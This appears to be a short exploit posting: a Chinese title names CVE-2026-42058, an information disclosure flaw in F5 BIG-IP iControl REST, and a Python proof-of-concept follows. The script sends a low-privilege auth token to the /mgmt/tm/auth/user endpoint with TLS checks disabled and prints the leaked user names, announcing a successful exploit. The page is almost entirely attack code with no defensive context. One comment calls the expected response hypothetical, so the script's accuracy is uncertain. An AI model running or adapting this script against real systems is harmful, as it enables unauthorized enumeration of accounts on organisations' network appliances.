CVE-2026-42058 F5 BIG-IP iControl REST信息泄露漏洞

import requests # Target configuration target_url = "https://<TARGET_IP>/mgmt/tm/auth/user" headers = { "Content-Type": "application/json", # Authorization header with valid low-privilege token "X-F5-Auth-Token": "<VALID_TOKEN>" } try: # Send request to exploit the information leak response = requests.get(target_url, headers=headers, verify=False) if response.status_code == 200: data = response.json() print("[+] Exploit Successful!") print("[+] Leaked User Information:") # Parsing the hypothetical JSON response containing user names if 'items' in data: for item in data['items']: print(f"User: {item.get('name')}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")